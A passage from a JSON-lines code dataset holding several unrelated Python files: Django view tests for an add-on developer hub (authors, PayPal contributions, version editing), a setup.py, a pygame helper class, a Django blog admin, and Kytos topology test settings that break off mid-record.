follow=True)\n\n        # Try deleting the other AddonUser\n        one, two = self.client.get(self.url).context['user_form'].initial_forms\n        one.initial['DELETE'] = True\n        data = self.formset(one.initial, two.initial, initial_count=2)\n        r = self.client.post(self.url, data, follow=True)\n        eq_(r.status_code, 403)\n        eq_(AddonUser.objects.filter(addon=3615).count(), 2)\n\n    def test_must_have_listed(self):\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        f.initial['listed'] = False\n        data = self.formset(f.initial, initial_count=1)\n        r = self.client.post(self.url, data)\n        eq_(r.context['user_form'].non_form_errors(),\n            ['At least one author must be listed.'])\n\n    def test_must_have_owner(self):\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        f.initial['role'] = amo.AUTHOR_ROLE_DEV\n        data = self.formset(f.initial, initial_count=1)\n        r = self.client.post(self.url, data)\n        eq_(r.context['user_form'].non_form_errors(),\n            ['Must have at least one owner.'])\n\n    def test_must_have_owner_delete(self):\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        f.initial['DELETE'] = True\n        data = self.formset(f.initial, initial_count=1)\n        r = self.client.post(self.url, data)\n        eq_(r.context['user_form'].non_form_errors(),\n            ['Must have at least one owner.'])\n\n\nclass TestEditPayments(test_utils.TestCase):\n    fixtures = ['base/apps', 'base/users', 'base/addon_3615']\n\n    def setUp(self):\n        self.addon = self.get_addon()\n        self.foundation = Charity.objects.create(\n            id=amo.FOUNDATION_ORG, name='moz', url='$$.moz', paypal='moz.pal')\n        self.url = reverse('devhub.addons.payments', args=[self.addon.id])\n        assert self.client.login(username='del@icio.us', password='password')\n        self.paypal_mock = mock.Mock()\n        self.paypal_mock.return_value = (True, None)\n        paypal.check_paypal_id = self.paypal_mock\n\n    def get_addon(self):\n        return Addon.objects.no_cache().get(id=3615)\n\n    def post(self, *args, **kw):\n        d = dict(*args, **kw)\n        eq_(self.client.post(self.url, d).status_code, 302)\n\n    def check(self, **kw):\n        addon = self.get_addon()\n        for k, v in kw.items():\n            eq_(getattr(addon, k), v)\n        assert addon.wants_contributions\n        assert addon.takes_contributions\n\n    def test_success_dev(self):\n        self.post(recipient='dev', suggested_amount=2, paypal_id='greed@dev',\n                  annoying=amo.CONTRIB_AFTER)\n        self.check(paypal_id='greed@dev', suggested_amount=2,\n                   annoying=amo.CONTRIB_AFTER)\n\n    def test_success_foundation(self):\n        self.post(recipient='moz', suggested_amount=2, paypal_id='greed@dev',\n                  annoying=amo.CONTRIB_ROADBLOCK)\n        self.check(paypal_id='greed@dev', suggested_amount=2,\n                   charity=self.foundation, annoying=amo.CONTRIB_ROADBLOCK)\n\n    def test_success_charity(self):\n        d = dict(recipient='org', suggested_amount=11.5,\n                 annoying=amo.CONTRIB_PASSIVE)\n        d.update({'charity-name': 'fligtar fund',\n                  'charity-url': 'http://feed.me',\n                  'charity-paypal': 'greed@org'})\n        self.post(d)\n        self.check(paypal_id='', suggested_amount=Decimal('11.50'),\n                   charity=Charity.objects.get(name='fligtar fund'))\n\n    def test_dev_paypal_reqd(self):\n        d = dict(recipient='dev', suggested_amount=2,\n                 annoying=amo.CONTRIB_PASSIVE)\n        r = self.client.post(self.url, d)\n        self.assertFormError(r, 'contrib_form', 'paypal_id',\n                             'PayPal id required to accept contributions.')\n\n    def test_bad_paypal_id_dev(self):\n        self.paypal_mock.return_value = False, 'error'\n        d = dict(recipient='dev', suggested_amount=2, paypal_id='greed@dev',\n                 annoying=amo.CONTRIB_AFTER)\n        r = self.client.post(self.url, d)\n        self.assertFormError(r, 'contrib_form', 'paypal_id', 'error')\n\n    def test_bad_paypal_id_charity(self):\n        self.paypal_mock.return_value = False, 'error'\n        d = dict(recipient='org', suggested_amount=11.5,\n                 annoying=amo.CONTRIB_PASSIVE)\n        d.update({'charity-name': 'fligtar fund',\n                  'charity-url': 'http://feed.me',\n                  'charity-paypal': 'greed@org'})\n        r = self.client.post(self.url, d)\n        self.assertFormError(r, 'charity_form', 'paypal', 'error')\n\n    def test_paypal_timeout(self):\n        self.paypal_mock.side_effect = socket.timeout()\n        d = dict(recipient='dev', suggested_amount=2, paypal_id='greed@dev',\n                 annoying=amo.CONTRIB_AFTER)\n        r = self.client.post(self.url, d)\n        self.assertFormError(r, 'contrib_form', 'paypal_id',\n                             'Could not validate PayPal id.')\n\n    def test_charity_details_reqd(self):\n        d = dict(recipient='org', suggested_amount=11.5,\n                 annoying=amo.CONTRIB_PASSIVE)\n        r = self.client.post(self.url, d)\n        self.assertFormError(r, 'charity_form', 'name',\n                             'This field is required.')\n        eq_(self.get_addon().suggested_amount, None)\n\n    def test_switch_charity_to_dev(self):\n        self.test_success_charity()\n        self.test_success_dev()\n        eq_(self.get_addon().charity, None)\n        eq_(self.get_addon().charity_id, None)\n\n    def test_switch_charity_to_foundation(self):\n        self.test_success_charity()\n        self.test_success_foundation()\n        # This will break if we start cleaning up licenses.\n        old_charity = Charity.objects.get(name='fligtar fund')\n        assert old_charity.id != self.foundation\n\n    def test_switch_foundation_to_charity(self):\n        self.test_success_foundation()\n        self.test_success_charity()\n        moz = Charity.objects.get(id=self.foundation.id)\n        eq_(moz.name, 'moz')\n        eq_(moz.url, '$$.moz')\n        eq_(moz.paypal, 'moz.pal')\n\n    def test_contrib_form_initial(self):\n        eq_(ContribForm.initial(self.addon)['recipient'], 'dev')\n        self.addon.charity = self.foundation\n        eq_(ContribForm.initial(self.addon)['recipient'], 'moz')\n        self.addon.charity_id = amo.FOUNDATION_ORG + 1\n        eq_(ContribForm.initial(self.addon)['recipient'], 'org')\n\n        eq_(ContribForm.initial(self.addon)['annoying'], amo.CONTRIB_PASSIVE)\n        self.addon.annoying = amo.CONTRIB_AFTER\n        eq_(ContribForm.initial(self.addon)['annoying'], amo.CONTRIB_AFTER)\n\n\nclass TestDisablePayments(test_utils.TestCase):\n    fixtures = ['base/apps', 'base/users', 'base/addon_3615']\n\n    def setUp(self):\n        self.addon = Addon.objects.get(id=3615)\n        self.addon.update(wants_contributions=True, paypal_id='woohoo')\n        self.pay_url = reverse('devhub.addons.payments', args=[self.addon.id])\n        self.disable_url = reverse('devhub.addons.payments.disable',\n                                   args=[self.addon.id])\n        assert self.client.login(username='del@icio.us', password='password')\n\n    def test_statusbar_visible(self):\n        r = self.client.get(self.pay_url)\n        self.assertContains(r, '<div id=\"status-bar\">')\n\n        self.addon.update(wants_contributions=False)\n        r = self.client.get(self.pay_url)\n        self.assertNotContains(r, '<div id=\"status-bar\">')\n\n    def test_disable(self):\n        r = self.client.post(self.disable_url)\n        eq_(r.status_code, 302)\n        assert(r['Location'].endswith(self.pay_url))\n        eq_(Addon.uncached.get(id=3615).wants_contributions, False)\n\n\nclass TestEdit(test_utils.TestCase):\n    fixtures = ['base/apps', 'base/users', 'base/addon_3615',\n                'base/addon_5579']\n\n    def setUp(self):\n        super(TestEdit, self).setUp()\n        self.addon = self.get_addon()\n        assert self.client.login(username='del@icio.us', password='password')\n        self.url = reverse('devhub.addons.edit', args=[self.addon.id])\n\n    def get_addon(self):\n        return Addon.objects.no_cache().get(id=3615)\n\n    def get_url(self, section, edit=False):\n        args = [self.addon.id, section]\n        if edit:\n            args.append('edit')\n\n        return reverse('devhub.addons.section', args=args)\n\n    def test_redirect(self):\n        # /addon/:id => /addon/:id/edit\n        r = self.client.get('/en-US/developers/addon/3615/', follow=True)\n        url = reverse('devhub.addons.edit', args=[3615])\n        self.assertRedirects(r, url, 301)\n\n    def test_edit_basic(self):\n        old_name = self.addon.name\n\n        data = dict(name='new name',\n                    slug='test_addon',\n                    summary='new summary')\n\n        r = self.client.post(self.get_url('basic', True), data)\n        eq_(r.status_code, 200)\n        addon = self.get_addon()\n\n        eq_(unicode(addon.name), data['name'])\n        eq_(addon.name.id, old_name.id)\n\n        eq_(unicode(addon.slug), data['slug'])\n        eq_(unicode(addon.summary), data['summary'])\n\n    def test_edit_basic_slugs_unique(self):\n        Addon.objects.get(id=5579).update(slug='test_slug')\n\n        data = dict(name='new name',\n                    slug='test_slug',\n                    summary='new summary')\n\n        r = self.client.post(self.get_url('basic', True), data)\n        eq_(r.status_code, 200)\n\n        self.assertFormError(r, 'form', 'slug', 'This slug is already in use.')\n\n    def test_edit_basic_name_not_empty(self):\n\n        data = dict(name='',\n                    slug=self.addon.slug,\n                    summary=self.addon.summary)\n\n        r = self.client.post(self.get_url('basic', True), data)\n        eq_(r.status_code, 200)\n\n        self.assertFormError(r, 'form', 'name', 'This field is required.')\n\n    def test_edit_details(self):\n        data = dict(description='New description with <em>html</em>!',\n                    default_locale='es-ES',\n                    homepage='http://twitter.com/fligtarsmom')\n\n        r = self.client.post(self.get_url('details', True), data)\n        eq_(r.status_code, 200)\n        addon = self.get_addon()\n\n        for k in data:\n            eq_(unicode(getattr(addon, k)), data[k])\n\n    def test_edit_details_locale(self):\n        addon = self.get_addon()\n        addon.update(default_locale='en-US')\n\n        r = self.client.get(self.get_url('details', False))\n\n        doc = pq(r.content)\n\n        eq_(doc('.addon_edit_locale').eq(0).text(), \"English (US)\")\n\n    def test_edit_support(self):\n        data = dict(support_email='sjobs@apple.com',\n                    support_url='http://apple.com/')\n\n        r = self.client.post(self.get_url('support', True), data)\n        eq_(r.status_code, 200)\n        addon = self.get_addon()\n\n        for k in data:\n            eq_(unicode(getattr(addon, k)), data[k])\n\n    def test_edit_support_getsatisfaction(self):\n        urls = [(\"getsatisfaction.com/abc/products/def\", 'abcdef'),  # GS URL\n                (\"getsatisfaction.com/abc/\", 'abc'),  # No company\n                (\"google.com\", None)]  # Delete GS\n\n        for (url, val) in urls:\n            data = dict(support_email='abc@def.com',\n                        support_url=url)\n\n            r = self.client.post(self.get_url('support', True), data)\n            eq_(r.status_code, 200)\n\n            r = self.client.get(self.get_url('support', False))\n            doc = pq(r.content)\n\n            result = doc('.addon_edit_gs').eq(0).text()\n\n            result = re.sub('\\W', '', result) if result else None\n\n            eq_(result, val)\n\n    def test_technical_on(self):\n        # Turn everything on\n        data = dict(developer_comments='Test comment!',\n                    binary='on',\n                    external_software='on',\n                    site_specific='on',\n                    view_source='on')\n\n        r = self.client.post(self.get_url('technical', True), data)\n        eq_(r.status_code, 200)\n\n        addon = self.get_addon()\n        for k in data:\n            if k == 'developer_comments':\n                eq_(unicode(getattr(addon, k)), unicode(data[k]))\n            else:\n                eq_(getattr(addon, k), True if data[k] == 'on' else False)\n\n        # Andddd offf\n        data = dict(developer_comments='Test comment!')\n        r = self.client.post(self.get_url('technical', True), data)\n        addon = self.get_addon()\n\n        eq_(addon.binary, False)\n        eq_(addon.external_software, False)\n        eq_(addon.site_specific, False)\n        eq_(addon.view_source, False)\n\n\nclass TestProfile(test_utils.TestCase):\n    fixtures = ['base/apps', 'base/users', 'base/addon_3615']\n\n    def setUp(self):\n        self.url = reverse('devhub.addons.profile', args=[3615])\n        assert self.client.login(username='del@icio.us', password='password')\n        self.addon = Addon.objects.get(id=3615)\n        self.version = self.addon.current_version\n\n    def get_addon(self):\n        return Addon.objects.no_cache().get(id=self.addon.id)\n\n    def enable_addon_contributions(self):\n        self.addon.wants_contributions = True\n        self.addon.paypal_id = 'somebody'\n        self.addon.save()\n\n    def post(self, *args, **kw):\n        d = dict(*args, **kw)\n        eq_(self.client.post(self.url, d).status_code, 302)\n\n    def check(self, **kw):\n        addon = self.get_addon()\n        for k, v in kw.items():\n            if k in ('the_reason', 'the_future'):\n                eq_(getattr(getattr(addon, k), 'localized_string'), unicode(v))\n            else:\n                eq_(getattr(addon, k), v)\n\n    def test_without_contributions_labels(self):\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n        eq_(doc('label[for=id_the_reason] .optional').length, 1)\n        eq_(doc('label[for=id_the_future] .optional').length, 1)\n\n    def test_without_contributions_fields_optional(self):\n        self.post(the_reason='', the_future='')\n        self.check(the_reason='', the_future='')\n\n        self.post(the_reason='to be cool', the_future='')\n        self.check(the_reason='to be cool', the_future='')\n\n        self.post(the_reason='', the_future='hot stuff')\n        self.check(the_reason='', the_future='hot stuff')\n\n        self.post(the_reason='to be hot', the_future='cold stuff')\n        self.check(the_reason='to be hot', the_future='cold stuff')\n\n    def test_with_contributions_labels(self):\n        self.enable_addon_contributions()\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n        assert doc('label[for=id_the_reason] .req').length, \\\n               'the_reason field should be required.'\n        assert doc('label[for=id_the_future] .req').length, \\\n               'the_future field should be required.'\n\n    def test_with_contributions_fields_required(self):\n        self.enable_addon_contributions()\n\n        d = dict(the_reason='', the_future='')\n        r = self.client.post(self.url, d)\n        eq_(r.status_code, 200)\n        self.assertFormError(r, 'profile_form', 'the_reason',\n                             'This field is required.')\n        self.assertFormError(r, 'profile_form', 'the_future',\n                             'This field is required.')\n\n        d = dict(the_reason='to be cool', the_future='')\n        r = self.client.post(self.url, d)\n        eq_(r.status_code, 200)\n        self.assertFormError(r, 'profile_form', 'the_future',\n                             'This field is required.')\n\n        d = dict(the_reason='', the_future='hot stuff')\n        r = self.client.post(self.url, d)\n        eq_(r.status_code, 200)\n        self.assertFormError(r, 'profile_form', 'the_reason',\n                             'This field is required.')\n\n        self.post(the_reason='to be hot', the_future='cold stuff')\n        self.check(the_reason='to be hot', the_future='cold stuff')\n\n\ndef initial(form):\n    \"\"\"Gather initial data from the form into a dict.\"\"\"\n    data = {}\n    for name, field in form.fields.items():\n        if form.is_bound:\n            data[name] = form[name].data\n        else:\n            data[name] = form.initial.get(name, field.initial)\n        # The browser sends nothing for an unchecked checkbox.\n        if isinstance(field, forms.BooleanField):\n            val = field.to_python(data[name])\n            if not val:\n                del data[name]\n    return data\n\n\nclass TestVersionEdit(test_utils.TestCase):\n    fixtures = ['base/apps', 'base/users', 'base/addon_3615',\n                'base/thunderbird']\n\n    def setUp(self):\n        assert self.client.login(username='del@icio.us', password='password')\n        self.addon = self.get_addon()\n        self.version = self.get_version()\n        self.url = reverse('devhub.versions.edit',\n                           args=[3615, self.version.id])\n        self.v1 = AppVersion(application_id=amo.FIREFOX.id, version='1.0')\n        self.v4 = AppVersion(application_id=amo.FIREFOX.id, version='4.0')\n        for v in self.v1, self.v4:\n            v.save()\n\n    def get_addon(self):\n        return Addon.objects.no_cache().get(id=3615)\n\n    def get_version(self):\n        return self.get_addon().current_version\n\n    def formset(self, *args, **kw):\n        defaults = {'approvalnotes': 'xxx'}\n        defaults.update(kw)\n        return formset(*args, **defaults)\n\n\nclass TestVersionEditDetails(TestVersionEdit):\n\n    def setUp(self):\n        super(TestVersionEditDetails, self).setUp()\n        ctx = self.client.get(self.url).context\n        compat = initial(ctx['compat_form'].forms[0])\n        files = initial(ctx['file_form'].forms[0])\n        self.initial = formset(compat, **formset(files, prefix='files'))\n\n    def formset(self, *args, **kw):\n        defaults = dict(self.initial)\n        defaults.update(kw)\n        return super(TestVersionEditDetails, self).formset(*args, **defaults)\n\n    def test_edit_notes(self):\n        d = self.formset(releasenotes='xx', approvalnotes='yy')\n        r = self.client.post(self.url, d)\n        eq_(r.status_code, 302)\n        version = self.get_version()\n        eq_(unicode(version.releasenotes), 'xx')\n        eq_(unicode(version.approvalnotes), 'yy')\n\n    def test_version_number_redirect(self):\n        url = self.url.replace(str(self.version.id), self.version.version)\n        r = self.client.get(url, follow=True)\n        self.assertRedirects(r, self.url)\n\n\nclass TestVersionEditFiles(TestVersionEdit):\n\n    def setUp(self):\n        super(TestVersionEditFiles, self).setUp()\n        f = self.client.get(self.url).context['compat_form'].initial_forms[0]\n        self.compat = initial(f)\n\n    def formset(self, *args, **kw):\n        compat = formset(self.compat, initial_count=1)\n        compat.update(kw)\n        return super(TestVersionEditFiles, self).formset(*args, **compat)\n\n    def test_edit_status(self):\n        f = self.client.get(self.url).context['file_form'].forms[0]\n        # Public is one of the choices since the file is currently public.\n        eq_([x[0] for x in f.fields['status'].choices],\n            [amo.STATUS_BETA, amo.STATUS_UNREVIEWED, amo.STATUS_PUBLIC])\n        # Switch the status to Beta.\n        data = initial(f)\n        data['status'] = amo.STATUS_BETA\n        r = self.client.post(self.url, self.formset(data, prefix='files'))\n        eq_(r.status_code, 302)\n        eq_(self.version.files.get().status, amo.STATUS_BETA)\n\n        # Beta and unreviewed are the only choices.\n        f = self.client.get(self.url).context['file_form'].forms[0]\n        eq_([x[0] for x in f.fields['status'].choices],\n            [amo.STATUS_BETA, amo.STATUS_UNREVIEWED])\n\n    def test_unique_platforms(self):\n        for platform in amo.PLATFORMS:\n            k, _ = Platform.objects.get_or_create(id=platform)\n        # Move the existing file to Linux.\n        f = self.version.files.get()\n        f.update(platform=Platform.objects.get(id=amo.PLATFORM_LINUX.id))\n        # And make a new file for Mac.\n        File.objects.create(version=self.version,\n                            platform_id=amo.PLATFORM_MAC.id)\n\n        forms = map(initial,\n                    self.client.get(self.url).context['file_form'].forms)\n        forms[1]['platform'] = forms[0]['platform']\n        r = self.client.post(self.url, self.formset(*forms, prefix='files'))\n        eq_(r.status_code, 200)\n        eq_(r.context['file_form'].non_form_errors(),\n            ['A platform can only be chosen once.'])\n\n\nclass TestVersionEditCompat(TestVersionEdit):\n\n    def formset(self, *args, **kw):\n        defaults = formset(prefix='files')\n        defaults.update(kw)\n        return super(TestVersionEditCompat, self).formset(*args, **defaults)\n\n    def test_add_appversion(self):\n        f = self.client.get(self.url).context['compat_form'].initial_forms[0]\n        d = self.formset(initial(f), dict(application=18, min=28, max=29),\n                         initial_count=1)\n        r = self.client.post(self.url, d)\n        eq_(r.status_code, 302)\n        apps = self.get_version().compatible_apps.keys()\n        eq_(sorted(apps), sorted([amo.FIREFOX, amo.THUNDERBIRD]))\n\n    def test_update_appversion(self):\n        av = self.version.apps.get()\n        eq_(av.min.version, '2.0')\n        eq_(av.max.version, '3.7a1pre')\n        f = self.client.get(self.url).context['compat_form'].initial_forms[0]\n        d = initial(f)\n        d.update(min=self.v1.id, max=self.v4.id)\n        r = self.client.post(self.url,\n                             self.formset(d, initial_count=1))\n        eq_(r.status_code, 302)\n        av = self.version.apps.get()\n        eq_(av.min.version, '1.0')\n        eq_(av.max.version, '4.0')\n\n    def test_delete_appversion(self):\n        # Add thunderbird compat so we can delete firefox.\n        self.test_add_appversion()\n        f = self.client.get(self.url).context['compat_form']\n        d = map(initial, f.initial_forms)\n        d[0]['DELETE'] = True\n        r = self.client.post(self.url, self.formset(*d, initial_count=2))\n        eq_(r.status_code, 302)\n        apps = self.get_version().compatible_apps.keys()\n        eq_(apps, [amo.THUNDERBIRD])\n\n    def test_unique_apps(self):\n        f = self.client.get(self.url).context['compat_form'].initial_forms[0]\n        dupe = initial(f)\n        del dupe['id']\n        d = self.formset(initial(f), dupe, initial_count=1)\n        r = self.client.post(self.url, d)\n        eq_(r.status_code, 200)\n        # Because of how formsets work, the second form is expected to be a\n        # tbird version range.  We got an error, so we're good.\n\n    def test_require_appversion(self):\n        old_av = self.version.apps.get()\n        f = self.client.get(self.url).context['compat_form'].initial_forms[0]\n        d = initial(f)\n        d['DELETE'] = True\n        r = self.client.post(self.url, self.formset(d, initial_count=1))\n        eq_(r.status_code, 200)\n        eq_(self.version.apps.get(), old_av)\n\n    def test_proper_min_max(self):\n        f = self.client.get(self.url).context['compat_form'].initial_forms[0]\n        d = initial(f)\n        d['min'], d['max'] = d['max'], d['min']\n        r = self.client.post(self.url, self.formset(d, initial_count=1))\n        eq_(r.status_code, 200)\n        eq_(r.context['compat_form'].forms[0].non_field_errors(),\n            ['Invalid version range'])\n\n\nclass TestAddonSubmission(test_utils.TestCase):\n    def test_step1_submit(self):\n        # Sanity check to make sure the page loads without error:\n        response = self.client.get(reverse('devhub.submit_addon'))\n        assert len(response.context['agreement_text'])\n","sub_path":"apps/devhub/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":37675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"13334226","text":"import os\nfrom setuptools import setup, find_packages\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = unicode(open(os.path.join(here, 'README.md')).read(), 'utf-8')\nCHANGES = unicode(open(os.path.join(here, 'CHANGES.rst')).read(), 'utf-8')\nREQUIRES = [line.strip() for line in open(os.path.join(here, 'requirements.txt')).readlines()]\nSOURCES = []\n\nfor index, dependency in enumerate(REQUIRES):\n    if dependency.find('#egg=') >= 0:\n        SOURCES.append(dependency)\n        REQUIRES[index] = dependency[dependency.find('#egg=') + 5:]\n\nsetup(name='eventframe',\n      version='0.1.0',\n      description='Event frame provides functionality common across HasGeek events, to simplify the process of setting up per-event websites.',\n      long_description=README + '\\n\\n' + CHANGES,\n      classifiers=[\n          \"Programming Language :: Python\",\n          \"Programming Language :: Python :: 2.6\",\n          \"Programming Language :: Python :: 2.7\",\n          \"License :: OSI Approved :: BSD License\",\n          \"Operating System :: OS Independent\",\n          \"Intended Audience :: Developers\",\n          \"Development Status :: 3 - Alpha\",\n          \"Topic :: Software Development :: Libraries\",\n        ],\n      author='Kiran Jonnalagadda',\n      author_email='kiran@hasgeek.com',\n      url='https://github.com/hasgeek/baseframe',\n      keywords='baseframe',\n      packages=find_packages(),\n      include_package_data=True,\n      zip_safe=False,\n      install_requires=REQUIRES,\n      dependency_links=SOURCES,\n      )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"123285553","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport math\nfrom pygame import transform\n\n\n# classe de stockage des variables et fonction necessitant ses variables\nclass Data :\n\tpwnFirstMove = []\n\n\n\n\tdef __init__(self,TOTALWIDTH,TOTALHEIGHT,DISPLAYSURF) :\n\t\tself.TOTALWIDTH = TOTALWIDTH\n\t\tself.TOTALHEIGHT = TOTALHEIGHT\n\t\tself.BLACK = (0,0,0)\n\t\tself.WHITE = (255,255,255)\n\t\tself.cellInfoWidth = 40\n\t\tself.cellLineWidth = 4\n\t\tself.menuWidth = self.TOTALWIDTH/10\n\t\tself.cellWidth = (self.TOTALWIDTH-self.menuWidth-self.cellInfoWidth)/8\n\t\tself.cellHeight = int(math.ceil(float((self.TOTALHEIGHT-self.cellInfoWidth))/8))\n\t\tself.DISPLAYSURF = DISPLAYSURF\n\n\t#met une image à la taille des cellules puis dans les cellules données en destination\n\tdef cellScaling(self,givObj,*destinations) :\n\t\tgivObjs = []\n\t\ti = 0\n\t\tfor destination in destinations :\n\t\t\tgivObjs.append(self.DISPLAYSURF.blit( transform.scale(givObj,(destination.width-1,destination.height-1)), destination))\n\t\t\ti += 1\n\t\treturn givObjs","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"50784615","text":"from django.contrib import admin\nfrom blogs.models import Title, Detail, Comment, TitleView\n\nclass DetailInline(admin.TabularInline):\n\tmodel = Detail\n\textra = 0\n\nclass TitleAdmin(admin.ModelAdmin):\n\tfieldsets = [\n\t\t(None, {\n\t\t\t'fields' : ['header', 'views', 'head_img', 'publisher'],\n\t\t\t}),\n\t\t('Date information', {\n            'fields': ['pub_date'],\n            \n        }),\n\t]\n\tinlines = [DetailInline]\n\n\n\nadmin.site.register(Title, TitleAdmin)\nadmin.site.register(Comment)\n\nadmin.site.register(TitleView)\n\n# Register your models here.\n","sub_path":"thrilloax/blogs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"264894637","text":"\"\"\"Module to overwrite all the needed methods.\"\"\"\n\n# Core modules to import\nfrom kytos.core.link import Link\n\n# pylint: disable=E0401\nfrom tests.integration.test_paths import TestPaths\n\n\nclass EdgesSettings(TestPaths):\n    \"\"\"Class to setups all the settings related to topology.\"\"\"\n\n    @staticmethod\n    def generate_topology():\n        \"\"\"Generate a predetermined topology.\"\"\"\n        switches, interfaces, links = {}, {}, {}\n\n        TestPaths.create_switch(\"S1\", switches)\n        TestPaths.add_interfaces(2, switches[\"S1\"], interfaces)\n\n        TestPaths.create_switch(\"S2\", switches)\n        TestPaths.add_interfaces(2, switches[\"S2\"], interfaces)\n\n        TestPaths.create_switch(\"S3\", switches)\n        TestPaths.add_interfaces(6, switches[\"S3\"], interfaces)\n\n        TestPaths.create_switch(\"S4\", switches)\n        TestPaths.add_interfaces(2, switches[\"S4\"], interfaces)\n\n        TestPaths.create_switch(\"S5\", switches)\n        TestPaths.add_interfaces(6, switches[\"S5\"], interfaces)\n\n        TestPaths.create_switch(\"S6\", switches)\n        TestPaths.add_interfaces(5, switches[\"S6\"], interfaces)\n\n        TestPaths.create_switch(\"S7\", switches)\n        TestPaths.add_interfaces(2, switches[\"S7\"], interfaces)\n\n        TestPaths.create_switch(\"S8\", switches)\n        TestPaths.add_interfaces(8, switches[\"S8\"], interfaces)\n\n        TestPaths.create_switch(\"S9\", switches)\n        TestPaths.add_interfaces(4, switches[\"S9\"], interfaces)\n\n        TestPaths.create_switch(\"S10\", switches)\n        TestPaths.add_interfaces(3, switches[\"S10\"], interfaces)\n\n        TestPaths.create_switch(\"S11\", switches)\n        TestPaths.add_interfaces(3, switches[\"S11\"], interfaces)\n\n        TestPaths.create_switch(\"User1\", switches)\n        TestPaths.add_interfaces(4, switches[\"User1\"], interfaces)\n\n        TestPaths.create_switch(\"User2\", switches)\n        TestPaths.add_interfaces(2, switches[\"User2\"], interfaces)\n\n        TestPaths.create_switch(\"User3\", switches)\n        TestPaths.add_interfaces(2, switches[\"User3\"], interfaces)\n\n        TestPaths.create_switch(\"User4\", switches)\n        TestPaths.add_interfaces(3, switches[\"User4\"], interfaces)\n\n        EdgesSettings._fill_links(links, interfaces)\n\n        EdgesSettings._add_metadata_to_links(links)\n\n        return switches, links\n\n    @staticmethod\n    def _add_metadata_to_links(links):\n        links[\"S1:1<->S2:1\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 105}\n        )\n\n        links[\"S1:2<->User1:1\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 1}\n        )\n\n        links[\"S2:2<->User4:1\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 10}\n        )\n\n        links[\"S3:1<->S5:1\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 10, \"delay\": 112}\n        )\n\n        links[\"S3:2<->S7:1\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 1}\n        )\n\n        links[\"S3:3<->S8:1\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 1}\n        )\n\n        links[\"S3:4<->S11:1\"].extend_metadata(\n            {\"reliability\": 3, \"bandwidth\": 100, \"delay\": 6}\n        )\n\n        links[\"S3:5<->User3:1\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 1}\n        )\n\n        links[\"S3:6<->User4:2\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 10}\n        )\n\n        links[\"S4:1<->S5:2\"].extend_metadata(\n            {\n                \"reliability\": 1,\n                \"bandwidth\": 100,\n                \"delay\": 30,\n                \"ownership\": {\"A\": {}},\n            }\n        )\n\n        links[\"S4:2<->User1:2\"].extend_metadata(\n            {\n                \"reliability\": 3,\n                \"bandwidth\": 100,\n                \"delay\": 110,\n                \"ownership\": {\"A\": {}},\n            }\n        )\n\n        links[\"S5:3<->S6:1\"].extend_metadata(\n            {\"reliability\": 1, \"bandwidth\": 100, \"delay\": 40}\n        )\n\n        links[\"S5:4<->S6:2\"].extend_metadata(\n            {\n                \"reliability\": 3,\n                \"bandwidth\": 100,\n                \"delay\": 40,\n                \"ownership\": {\"A\": {}},\n            }\n        )\n\n        links[\"S5:5<->S8:2\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 112}\n        )\n\n        links[\"S5:6<->User1:3\"].extend_metadata(\n            {\"reliability\": 3, \"bandwidth\": 100, \"delay\": 60}\n        )\n\n        links[\"S6:3<->S9:1\"].extend_metadata(\n            {\"reliability\": 3, \"bandwidth\": 100, \"delay\": 60}\n        )\n\n        links[\"S6:4<->S9:2\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 62}\n        )\n\n        links[\"S6:5<->S10:1\"].extend_metadata(\n            {\"bandwidth\": 100, \"delay\": 108, \"ownership\": {\"A\": {}}}\n        )\n\n        links[\"S7:2<->S8:3\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 1}\n        )\n\n        links[\"S8:4<->S9:3\"].extend_metadata(\n            {\"reliability\": 3, \"bandwidth\": 100, \"delay\": 32}\n        )\n\n        links[\"S8:5<->S9:4\"].extend_metadata(\n            {\"reliability\": 3, \"bandwidth\": 100, \"delay\": 110}\n        )\n\n        links[\"S8:6<->S10:2\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"ownership\": {\"A\": {}}}\n        )\n\n        links[\"S8:7<->S11:2\"].extend_metadata(\n            {\"reliability\": 3, \"bandwidth\": 100, \"delay\": 7}\n        )\n\n        links[\"S8:8<->User3:2\"].extend_metadata(\n            {\"reliability\": 5, \"bandwidth\": 100, \"delay\": 1}\n        )\n\n        links[\"S10:3<->User2:1\"].extend_metadata(\n            {\n                \"reliability\": 3,\n                \"bandwidth\": 100,\n                \"delay\": 10,\n                \"ownership\": {\"A\": {}},\n            }\n        )\n\n        links[\"S11:3<->User2:2\"].extend_metadata(\n            {\"reliability\": 3, \"bandwidth\": 100, \"delay\": 6}\n        )\n\n        links[\"User1:4<->User4:3\"].extend_metadata(\n            